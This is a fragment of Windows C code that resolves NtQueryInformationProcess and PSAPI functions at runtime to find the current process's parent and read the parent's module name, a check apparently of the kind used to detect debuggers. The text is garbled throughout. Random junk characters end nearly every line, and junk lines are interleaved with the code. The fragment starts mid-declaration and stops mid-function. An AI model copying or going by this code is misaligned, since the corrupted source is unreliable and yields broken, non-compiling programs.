} PROCESS_BASIC_INFORMATION; Ab-S*|B
* "ER8\
PROCNTQSIP NtQueryInformationProcess; PT|^RF%fT
P~i^V;g
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >RBq&'f
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OcMd'fwO
+:~&"U^z&
HANDLE hProcess; b2H!{a"
PROCESS_BASIC_INFORMATION pbi; jfS?#;T)
i,FG?\x@
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _ts0@Z_:
if(NULL == hInst ) return 0; netKt_
_$wWKJy9
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i?'HVx
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }!& w<wR
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /^#k/z
E[t\LTt*n
if (!NtQueryInformationProcess) return 0; CjOaw$s
|VlAt#E
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &.+[~2
if(!hProcess) return 0; M`KrB5a+6
()(@Qcc
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C1|e1
Q]w;o&eo
CloseHandle(hProcess); fmA&1u/xMs
,^,Vq]$3
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^;NM'Z
if(hProcess==NULL) return 0; 1B6Go
+fAAkO*GP
HMODULE hMod; .
%tc7`k8
char procName[255]; u-pE
;|
unsigned long cbNeeded; A86#7
|>A1J:
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u$&